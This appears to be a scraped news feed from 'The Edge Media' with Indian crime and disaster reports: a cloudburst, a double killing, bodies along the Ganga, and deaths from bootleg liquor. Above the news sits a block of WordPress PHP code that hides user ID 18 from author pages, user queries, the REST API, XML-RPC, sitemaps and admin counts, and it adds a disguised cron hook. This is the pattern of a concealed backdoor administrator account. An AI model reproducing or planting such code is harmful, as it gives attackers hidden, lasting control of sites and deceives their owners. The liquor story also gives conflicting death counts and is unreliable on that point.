add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 3 dead, several missing after cloudburst in Uttarakhand. appeared first on The Edge Media.
]]>The Indian Meteorological Department or IMD has forecast isolated, extreme heavy rainfall over Uttarakhand for today.
“Three people died and four people were reported as missing after a cloudburst in Mando village in Uttarkashi district,” Inspector Jagdamba Prasad , Team Incharge, State Disaster Response Force (SDRF), was quoted as saying by news agency ANI.
The western himalayan region and adjoining northwest India are also likely to receive isolated heavy to very heavy rains during the period.
The post 3 dead, several missing after cloudburst in Uttarakhand. appeared first on The Edge Media.
]]>The post Man slashes daughter and her lover to death in Uttar Pradesh appeared first on The Edge Media.
]]>One of the officers Pawan Gautam said that the police have arrested the acussed father and a truck driver. He added that they have also recovered the axe which was used to slash the teenagers to death.
Mr. Gautam said that the 16-year-old girl had an affair with a 15-year-old boy of the same village. The girl had invited the boy into her house when her parents were gone to attend a wedding in Banda district. The couple was caught by the girl’s uncle who locked them inside the house and informed his brother about the incident on phone.
After hearing about the incident, the girl’s father returned home and slashed his daughter and her lover to death.
The post Man slashes daughter and her lover to death in Uttar Pradesh appeared first on The Edge Media.
]]>The post Now, bodies found buried in sand along Ganga river in Uttar Pradesh’s Unnao district appeared first on The Edge Media.
]]>Authorities have not been able to confirm yet whether the bodies were of Covid-19 patients. District Magistrate Ravindra Kumar said that some of the bodies were found in an area far away from the river, ANI reported.
“Search being conducted for more bodies in other areas,” Kumar said. “I have asked team to carry out inquiry. Action will be taken accordingly.”
Kumar added that Buksar, one of the spots where bodies were found, is a major cremation spot for three districts of Fatehpur, Rai Bareily and Unnao, India Today reported. He said that while some people burn the bodies, others bury them in the sand by the river.
The incident follows a pattern that has occurred over the last few days.
On Tuesday, unidentified bodies, suspected to be of coronavirus patients, were found floating in river Ganga in Uttar Pradesh’s Ghazipur district. Locals feared the corpses will contaminate the water and lead to the spread of the infection. Later that day, a similar incident happened in Madhya Pradesh’s Panna district.
The post Now, bodies found buried in sand along Ganga river in Uttar Pradesh’s Unnao district appeared first on The Edge Media.
]]>The post Four including woman died in Pratapgarh due to poisonous liquor appeared first on The Edge Media.
]]>Three people, including a woman, lost their lives within a few hours due to poisonous liquor at Rampur Dabi Majre Manohra Pur village under Sangramgarh police station in Pratapgarh district of Uttar Pradesh. According to the information, the woman died in a local hospital while two youths died in Lucknow. It is being told that these four people had drunk liquor sold illegally on Saturday night. Apart from this, the condition of seven people is said to be critical.
Apart from Sunita (50) wife Jawaharlal Saroj, Vijay Kumar (40) son Ramsumer Saroj and Ramprasad (42) son Ramdev Saroj were first shown to a local doctor. Sunita was brought to the Community Health Center at around 9 o’clock at night if the condition did not improve. Where he died. Vijay Kumar died on his way to the hospital at around 12 pm. Ram Prasad also died in some time. Former village head Nanhe Lal Yadav has confirmed the deaths and said that poisonous alcohol is the reason.
Police President Sangramgarh Ashutosh Tripathi has confirmed the deaths due to poisonous liquor and has given information to the higher authorities. It has not been known from where the women and youths took liquor. The station in-charge says that the cause of death will be known only in the post-mortem.
The post Four including woman died in Pratapgarh due to poisonous liquor appeared first on The Edge Media.
]]>